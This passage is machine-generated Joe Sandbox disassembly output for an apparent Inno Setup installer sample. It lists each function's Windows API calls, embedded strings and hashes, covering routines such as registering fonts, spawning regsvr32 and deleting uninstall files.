Opcode ID: 1cc56b239fdeaedb2d1580aa1e236bae9e7dbefe451ece1d529d4f9f4840087b
Instruction ID: a7080551ad088c2b423479524e70766616a95c19d9bf76f9f53dc3544d02a1df
Opcode Fuzzy Hash: 1cc56b239fdeaedb2d1580aa1e236bae9e7dbefe451ece1d529d4f9f4840087b
Instruction Fuzzy Hash: 6541FB34A082455FCB00DF65E852BDE7BB5EB45305F5544BBE400DB282D7399A0ECB58

Function 0047398C Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 92windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004738B4: GetWindowThreadProcessId.USER32(00000000), ref: 004738BC
Part of subcall function 004738B4: GetModuleHandleA.KERNEL32(user32.dll,AllowSetForegroundWindow,00000000,?,?,004739B3,8pI,00000000), ref: 004738CF
Part of subcall function 004738B4: GetProcAddress.KERNEL32(00000000,user32.dll), ref: 004738D5

SendMessageA.USER32(00000000,0000004A,00000000,F=G), ref: 004739C1
GetTickCount.KERNEL32 ref: 00473A06
GetTickCount.KERNEL32 ref: 00473A10
MsgWaitForMultipleObjects.USER32(00000000,00000000,00000000,0000000A,000000FF), ref: 00473A65

Strings

CallSpawnServer: Unexpected status: %d, xrefs: 00473A4E
8pI, xrefs: 00473993
CallSpawnServer: Unexpected response: $%x, xrefs: 004739F6
F=G, xrefs: 004739B3, 004739B6

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CountTick$AddressHandleMessageModuleMultipleObjectsProcProcessSendThreadWaitWindow
String ID: 8pI$CallSpawnServer: Unexpected response: $%x$CallSpawnServer: Unexpected status: %d$F=G
API String ID: 613034392-3008138361
Opcode ID: 8ee80246c502ebe2d217147552e4321fa44327553599dbd5040285cc7266feb8
Instruction ID: a5a746e970c0969c9dd2d84057cde5d1f5128fdc73edff5516e37bd3d8525890
Opcode Fuzzy Hash: 8ee80246c502ebe2d217147552e4321fa44327553599dbd5040285cc7266feb8
Instruction Fuzzy Hash: BD31A274B002159ADB10EFB988877EEB6A49F04705F50843BF188FB382D67D9E01979D

Function 0045E130 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 82COMMON

Download Yara Rule

APIs

SHGetMalloc.SHELL32(?), ref: 0045E16B
GetActiveWindow.USER32 ref: 0045E1CF
CoInitialize.OLE32(00000000), ref: 0045E1E3
SHBrowseForFolder.SHELL32(?), ref: 0045E1FA
CoUninitialize.OLE32(0045E23B,00000000,?,?,?,?,?,00000000,0045E2BF), ref: 0045E20F
SetActiveWindow.USER32(?,0045E23B,00000000,?,?,?,?,?,00000000,0045E2BF), ref: 0045E225
SetActiveWindow.USER32(?,?,0045E23B,00000000,?,?,?,?,?,00000000,0045E2BF), ref: 0045E22E

Strings

A, xrefs: 0045E1A3

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: ActiveWindow$BrowseFolderInitializeMallocUninitialize
String ID: A
API String ID: 2684663990-3554254475
Opcode ID: 17d7348a5de289b0dead946994b069c8017cc8ca8e543aece7dc191273ce19ba
Instruction ID: efbc9e586ece9eef5370bbcd722c8b65d602126f4e949b0fde047d6aec855b50
Opcode Fuzzy Hash: 17d7348a5de289b0dead946994b069c8017cc8ca8e543aece7dc191273ce19ba
Instruction Fuzzy Hash: DD313E70E00218AFDB04EFA6D886A9EBBF8EB09704F51447AF804E7252D7785A44CF59

Function 00418BC4 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(0000000E), ref: 00418BE0
GetSystemMetrics.USER32(0000000D), ref: 00418BE8
6F532980.COMCTL32(00000000,0000000D,00000000,0000000E,00000001,00000001,00000001,00000000), ref: 00418BEE

Part of subcall function 00409920: 6F52C400.COMCTL32((fI,000000FF,00000000,00418C1C,00000000,00418C78,?,00000000,0000000D,00000000,0000000E,00000001,00000001,00000001,00000000), ref: 00409924

6F59CB00.COMCTL32((fI,00000000,00000000,00000000,00000000,00418C78,?,00000000,0000000D,00000000,0000000E,00000001,00000001,00000001,00000000), ref: 00418C3E
6F59C740.COMCTL32(00000000,?,(fI,00000000,00000000,00000000,00000000,00418C78,?,00000000,0000000D,00000000,0000000E,00000001,00000001,00000001), ref: 00418C49
6F59CB00.COMCTL32((fI,00000001,?,?,00000000,?,(fI,00000000,00000000,00000000,00000000,00418C78,?,00000000,0000000D,00000000), ref: 00418C5C
6F530860.COMCTL32((fI,00418C7F,?,00000000,?,(fI,00000000,00000000,00000000,00000000,00418C78,?,00000000,0000000D,00000000,0000000E), ref: 00418C72

Strings

(fI, xrefs: 00418C14, 00418C2C, 00418C3A, 00418C58, 00418C6E, 00418C3D, 00418C5B, 00418C71

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: MetricsSystem$C400C740F530860F532980
String ID: (fI
API String ID: 209721339-4122540895
Opcode ID: 65e0913070e1a46d1e4049ee6121461fcfbb365fe4eb4b9520eb625876ba3720
Instruction ID: ebdf7d90a3a22d50ab8fd643d9f8c48181b88e499e337cf830e96f2c39c8652b
Opcode Fuzzy Hash: 65e0913070e1a46d1e4049ee6121461fcfbb365fe4eb4b9520eb625876ba3720
Instruction Fuzzy Hash: 19113675744204BADB50EBF5DC82F5E77B8DB48704F50406AB604E72D2E6799D408768

Function 0045BAE8 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 41libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(023D0000,inflateInit_), ref: 0045BAF1
GetProcAddress.KERNEL32(023D0000,inflate), ref: 0045BB01
GetProcAddress.KERNEL32(023D0000,inflateEnd), ref: 0045BB11
GetProcAddress.KERNEL32(023D0000,inflateReset), ref: 0045BB21

Strings

inflateInit_, xrefs: 0045BAEB
inflateEnd, xrefs: 0045BB0B
inflateReset, xrefs: 0045BB1B
inflate, xrefs: 0045BAFB

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: AddressProc
String ID: inflate$inflateEnd$inflateInit_$inflateReset
API String ID: 190572456-3516654456
Opcode ID: 131badbbba323afb4533588c2264d8d0fdc163024531a8c12f541a788bca7b37
Instruction ID: 9385be58336e67af4b7d81d08276a4406f5930c71283b962e18427fa23d56c25
Opcode Fuzzy Hash: 131badbbba323afb4533588c2264d8d0fdc163024531a8c12f541a788bca7b37
Instruction Fuzzy Hash: 98018FB1914700DEEB24DF32AC81B233696E368316F14C43BA908566ABD7BC154DCF9C

Function 0041A84C Relevance: 13.7, APIs: 9, Instructions: 176windowCOMMON

Download Yara Rule

APIs

SetBkColor.GDI32(?,00000000), ref: 0041A929
73A24D40.GDI32(?,00000000,00000000,?,?,?,00000000,00000000,00CC0020,?,00000000), ref: 0041A963
SetBkColor.GDI32(?,?), ref: 0041A978
StretchBlt.GDI32(00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,00CC0020), ref: 0041A9C2
SetTextColor.GDI32(00000000,00000000), ref: 0041A9CD
SetBkColor.GDI32(00000000,00FFFFFF), ref: 0041A9DD
StretchBlt.GDI32(00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,00E20746), ref: 0041AA1C
SetTextColor.GDI32(00000000,00000000), ref: 0041AA26
SetBkColor.GDI32(00000000,?), ref: 0041AA33

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Color$StretchText
String ID:
API String ID: 2984075790-0
Opcode ID: 2a71b0a0a2b9dc45dabe6500bf7ea0e2082f1bf18c933a91daaa413ec303015b
Instruction ID: 69ae49bf6c4e82acacdff2fe07525d2a8d99776db7c40e28fbb8516f53671917
Opcode Fuzzy Hash: 2a71b0a0a2b9dc45dabe6500bf7ea0e2082f1bf18c933a91daaa413ec303015b
Instruction Fuzzy Hash: B461D6B5A00505EFCB40EFA9D985E9AB7F8EF48314B14816AF518DB252C734ED41CF58

Function 0045648C Relevance: 13.6, APIs: 1, Strings: 8, Instructions: 126COMMON

Download Yara Rule

APIs

Part of subcall function 0042D7A0: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0042D7B3

CloseHandle.KERNEL32(?,?,00000044,00000000,00000000,04000000,00000000,00000000,00000000,00456640,?, /s ",?,regsvr32.exe",?,00456640), ref: 004565B2

Strings

CreateProcess, xrefs: 004565A4
0x%x, xrefs: 004565D5
Spawning 32-bit RegSvr32: , xrefs: 00456539
regsvr32.exe", xrefs: 004564D3
/s ", xrefs: 004564FB
D, xrefs: 00456568
/u, xrefs: 004564EE
Spawning 64-bit RegSvr32: , xrefs: 00456517

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CloseDirectoryHandleSystem
String ID: /s "$ /u$0x%x$CreateProcess$D$Spawning 32-bit RegSvr32: $Spawning 64-bit RegSvr32: $regsvr32.exe"
API String ID: 2051275411-1862435767
Opcode ID: 8fe4098f072b01508a2dae6be17a7e934180b2d95f083cfdf5f2cf566c0ea0e2
Instruction ID: 52aef77ad583d0b614e6b59c501e8ae0a7a50fb5039906ee3f49a51f08d687bb
Opcode Fuzzy Hash: 8fe4098f072b01508a2dae6be17a7e934180b2d95f083cfdf5f2cf566c0ea0e2
Instruction Fuzzy Hash: A9412870A003486BDB10EFD5D841B8DB7F9AF45305F91407BA904BB296D7789A098B19

Function 0044CCB8 Relevance: 13.6, APIs: 9, Instructions: 90COMMON

Download Yara Rule

APIs

OffsetRect.USER32(?,00000001,00000001), ref: 0044CCE9
GetSysColor.USER32(00000014), ref: 0044CCF0
SetTextColor.GDI32(00000000,00000000), ref: 0044CD08
DrawTextA.USER32(00000000,00000000,00000000), ref: 0044CD31
OffsetRect.USER32(?,000000FF,000000FF), ref: 0044CD3B
GetSysColor.USER32(00000010), ref: 0044CD42
SetTextColor.GDI32(00000000,00000000), ref: 0044CD5A
DrawTextA.USER32(00000000,00000000,00000000), ref: 0044CD83
DrawTextA.USER32(00000000,00000000,00000000), ref: 0044CDAE

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Text$Color$Draw$OffsetRect
String ID:
API String ID: 1005981011-0
Opcode ID: 05433eeb21f7eade2ad8fd780ee4a3c9ffb71d8696478e3b6365215710ea7c5d
Instruction ID: 55e274db1b9bafabb3ce5fe040df84b1e5030e62ce747351cd8478152fc2054d
Opcode Fuzzy Hash: 05433eeb21f7eade2ad8fd780ee4a3c9ffb71d8696478e3b6365215710ea7c5d
Instruction Fuzzy Hash: DF21CFB42015007FC710FB2ACD8AE8B7BECDF19319B05857AB958EB393C678DD408669

Function 0049165C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 90sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

Part of subcall function 00450194: SetEndOfFile.KERNEL32(?,?,0045AB76,00000000,0045AD01,?,00000000,00000002,00000002), ref: 0045019B

Part of subcall function 00406EB8: DeleteFileA.KERNEL32(00000000,00496628,004938C1,00000000,00493916,?,?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000), ref: 00406EC3

GetWindowThreadProcessId.USER32(00000000,?), ref: 004916ED
OpenProcess.KERNEL32(00100000,00000000,?,00000000,?), ref: 00491701
SendNotifyMessageA.USER32(00000000,0000054D,00000000,00000000), ref: 0049171B
WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,0000054D,00000000,00000000,00000000,?), ref: 00491727
CloseHandle.KERNEL32(00000000,00000000,000000FF,00000000,0000054D,00000000,00000000,00000000,?), ref: 0049172D
Sleep.KERNEL32(000001F4,00000000,0000054D,00000000,00000000,00000000,?), ref: 00491740

Strings

Deleting Uninstall data files., xrefs: 00491663

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: FileProcess$CloseDeleteHandleMessageNotifyObjectOpenSendSingleSleepThreadWaitWindow
String ID: Deleting Uninstall data files.
API String ID: 1570157960-2568741658
Opcode ID: 79e0f6f07ce9797d0280cf604a4eab7190ee0c45943d47177282953db41bdb4e
Instruction ID: 98e26087738e558cfd95a453ea0d3de37a203fc09e9b81159c464f1ea26851f6
Opcode Fuzzy Hash: 79e0f6f07ce9797d0280cf604a4eab7190ee0c45943d47177282953db41bdb4e
Instruction Fuzzy Hash: 72215070758201AAEB10A7B5EC86B273BACD755318F51047BB5009A2E3D5785C44DB2D

Function 0046C618 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 89registrywindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DC54: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0047EBD7,?,00000001,?,?,0047EBD7,?,00000001,00000000), ref: 0042DC70

RegSetValueExA.ADVAPI32(?,00000000,00000000,00000001,00000000,00000001,?,00000002,00000000,00000000,0046C715,?,?,?,?,00000000), ref: 0046C67F
RegCloseKey.ADVAPI32(?,?,00000000,00000000,00000001,00000000,00000001,?,00000002,00000000,00000000,0046C715), ref: 0046C696
AddFontResourceA.GDI32(00000000), ref: 0046C6B3
SendNotifyMessageA.USER32(0000FFFF,0000001D,00000000,00000000), ref: 0046C6C7

Strings

Failed to open Fonts registry key., xrefs: 0046C69D
AddFontResource, xrefs: 0046C6D1
Failed to set value in Fonts registry key., xrefs: 0046C688

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CloseFontMessageNotifyOpenResourceSendValue
String ID: AddFontResource$Failed to open Fonts registry key.$Failed to set value in Fonts registry key.
API String ID: 955540645-649663873
Opcode ID: 4a5bc799ae3d4c9066e0aef8c5d10aa75db323fdc00f2ff4c954b2191ebeb607
Instruction ID: 2f2198b0230ca9042f6283156b13f90ea2ab76d772d2ec21c0c1f667ac3d8f50
Opcode Fuzzy Hash: 4a5bc799ae3d4c9066e0aef8c5d10aa75db323fdc00f2ff4c954b2191ebeb607
Instruction Fuzzy Hash: DD21C4707402057AE710EAA68C82F7A73ADDB45709F104037B940FB3C2EA7C9D06962E

Function 0045F840 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00416380: GetClassInfoA.USER32(00400000,?,?), ref: 004163EF
Part of subcall function 00416380: UnregisterClassA.USER32(?,00400000), ref: 0041641B
Part of subcall function 00416380: RegisterClassA.USER32(?), ref: 0041643E

GetVersion.KERNEL32 ref: 0045F870
SendMessageA.USER32(00000000,0000112C,00000004,00000004), ref: 0045F8AE
SHGetFileInfo.SHELL32(0045F94C,00000000,?,00000160,00004011), ref: 0045F8CB
LoadCursorA.USER32(00000000,00007F02), ref: 0045F8E9
SetCursor.USER32(00000000,00000000,00007F02,0045F94C,00000000,?,00000160,00004011), ref: 0045F8EF
SetCursor.USER32(?,0045F92F,00007F02,0045F94C,00000000,?,00000160,00004011), ref: 0045F922

Strings

Explorer, xrefs: 0045F88A

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: ClassCursor$Info$FileLoadMessageRegisterSendUnregisterVersion
String ID: Explorer
API String ID: 2594429197-512347832
Opcode ID: 1bbb4912840947177faf2f689e6f3e77832cba3255e01617ebec8df7a2ac1a51
Instruction ID: bec1cba5f3dfdb0e8112d5750da6ec0fcf7430c77da03b8fadd74fef556e5570
Opcode Fuzzy Hash: 1bbb4912840947177faf2f689e6f3e77832cba3255e01617ebec8df7a2ac1a51
Instruction Fuzzy Hash: 3B2127717803047AE710BBB59C47B9B36889B09709F4044BFBA05EA2C3CA7D8C09866D

Function 00401A90 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.KERNEL32(00496420,00000000,00401B68), ref: 00401ABD
LocalFree.KERNEL32(007A2898,00000000,00401B68), ref: 00401ACF
VirtualFree.KERNEL32(?,00000000,00008000,007A2898,00000000,00401B68), ref: 00401AEE
LocalFree.KERNEL32(007A3898,?,00000000,00008000,007A2898,00000000,00401B68), ref: 00401B2D
RtlLeaveCriticalSection.KERNEL32(00496420,00401B6F), ref: 00401B58
RtlDeleteCriticalSection.KERNEL32(00496420,00401B6F), ref: 00401B62

Strings

l>z, xrefs: 00401B11

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CriticalFreeSection$Local$DeleteEnterLeaveVirtual
String ID: l>z
API String ID: 3782394904-1335453705
Opcode ID: d7983087b8bcbabcafc2c9d8a305f4a93e6fa46b606c4ef3e584c6169f95cf8d
Instruction ID: bf2c7a4256457c5f50c71aa29f18f829c6f6e2c919ab822836d088e606c14c70
Opcode Fuzzy Hash: d7983087b8bcbabcafc2c9d8a305f4a93e6fa46b606c4ef3e584c6169f95cf8d
Instruction Fuzzy Hash: 5D118F30A403405EEB15ABE99D82F263BE59761B4CF56407BF80067AF1D77C9850C76E

Function 004019CC Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

RtlInitializeCriticalSection.KERNEL32(00496420,00000000,00401A82,?,?,0040222E,00496460,00000000,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 004019E2
RtlEnterCriticalSection.KERNEL32(00496420,00496420,00000000,00401A82,?,?,0040222E,00496460,00000000,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 004019F5
LocalAlloc.KERNEL32(00000000,00000FF8,00496420,00000000,00401A82,?,?,0040222E,00496460,00000000,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 00401A1F
RtlLeaveCriticalSection.KERNEL32(00496420,00401A89,00000000,00401A82,?,?,0040222E,00496460,00000000,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 00401A7C

Strings

l>z, xrefs: 00401A0E
`dI, xrefs: 00401A4B
`dI, xrefs: 00401A55

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CriticalSection$AllocEnterInitializeLeaveLocal
String ID: `dI$`dI$l>z
API String ID: 730355536-1055582413
Opcode ID: f176e8b5bc4d8de55a84342bec8c86950c68c795945543f3ab918003abf5a290
Instruction ID: 5e78e1d922e44001d172df758a9733a16a6df98b74bc9f0da5c534ca1700ba01
Opcode Fuzzy Hash: f176e8b5bc4d8de55a84342bec8c86950c68c795945543f3ab918003abf5a290
Instruction Fuzzy Hash: EC01C0706442405EFB19ABE99802B253ED4D795B88F13803FF440A6AF1C67C4840CB2D

Function 00458670 Relevance: 12.1, APIs: 1, Strings: 7, Instructions: 121COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,004587F2,?,00000000,00000000,00000000,?,00000006,?,00000000,004929D3,?,00000000,00492A76), ref: 00458736

Part of subcall function 00452FD8: FindClose.KERNEL32(000000FF,004530CE), ref: 004530BD

Strings

Deleting directory: %s, xrefs: 004586BF
Failed to delete directory (%d). Will delete on restart (if empty)., xrefs: 004587AB
Not stripping read-only attribute because the directory does not appear to be empty., xrefs: 00458710
Stripped read-only attribute., xrefs: 004586F8
Failed to strip read-only attribute., xrefs: 00458704
Failed to delete directory (%d)., xrefs: 004587CC
Failed to delete directory (%d). Will retry later., xrefs: 0045874F

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CloseErrorFindLast
String ID: Deleting directory: %s$Failed to delete directory (%d).$Failed to delete directory (%d). Will delete on restart (if empty).$Failed to delete directory (%d). Will retry later.$Failed to strip read-only attribute.$Not stripping read-only attribute because the directory does not appear to be empty.$Stripped read-only attribute.
API String ID: 754982922-1448842058
Opcode ID: 9e0d2ec67bd457e1e0f804407d411431f7077f52118391e2ea53699c802ef688
Instruction ID: 0ab20a68f8e75b12d5c2d8e74b017b809a378b322a213473fe43339e3f3d7088
Opcode Fuzzy Hash: 9e0d2ec67bd457e1e0f804407d411431f7077f52118391e2ea53699c802ef688
Instruction Fuzzy Hash: 75417230A042089ACB10EB6988417AF76A59B89306F61857FAC01B7393DE7C890D875E

Function 00422DC0 Relevance: 12.1, APIs: 8, Instructions: 119windowCOMMON

Download Yara Rule

APIs

GetCapture.USER32 ref: 00422E14
GetCapture.USER32 ref: 00422E23
SendMessageA.USER32(00000000,0000001F,00000000,00000000), ref: 00422E29
ReleaseCapture.USER32 ref: 00422E2E
GetActiveWindow.USER32 ref: 00422E3D
SendMessageA.USER32(00000000,0000B000,00000000,00000000), ref: 00422EBC
SendMessageA.USER32(00000000,0000B001,00000000,00000000), ref: 00422F20
GetActiveWindow.USER32 ref: 00422F2F

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CaptureMessageSend$ActiveWindow$Release
String ID:
API String ID: 862346643-0
Opcode ID: b62fffc3168ac0ebf47d1dca22d163c46a929337844de2a9f700f1622b0ba937
Instruction ID: 3dc7d5c5dffcbd9cfc95175fcc265abaf37585ce791e678acf2218af3f88607c
Opcode Fuzzy Hash: b62fffc3168ac0ebf47d1dca22d163c46a929337844de2a9f700f1622b0ba937
Instruction Fuzzy Hash: 19416270B00244AFDB50EBA9DA42B9E77F1EF04304F5540BAF404AB3A2D7B99E40DB18

Function 004293F0 Relevance: 12.1, APIs: 8, Instructions: 62COMMON

Download Yara Rule

APIs

73A1A570.USER32(00000000), ref: 004293FA
GetTextMetricsA.GDI32(00000000), ref: 00429403

Part of subcall function 0041A158: CreateFontIndirectA.GDI32(?), ref: 0041A217

SelectObject.GDI32(00000000,00000000), ref: 00429412
GetTextMetricsA.GDI32(00000000,?), ref: 0042941F
SelectObject.GDI32(00000000,00000000), ref: 00429426
73A1A480.USER32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 0042942E
GetSystemMetrics.USER32(00000006), ref: 00429453
GetSystemMetrics.USER32(00000006), ref: 0042946D

Memory Dump Source

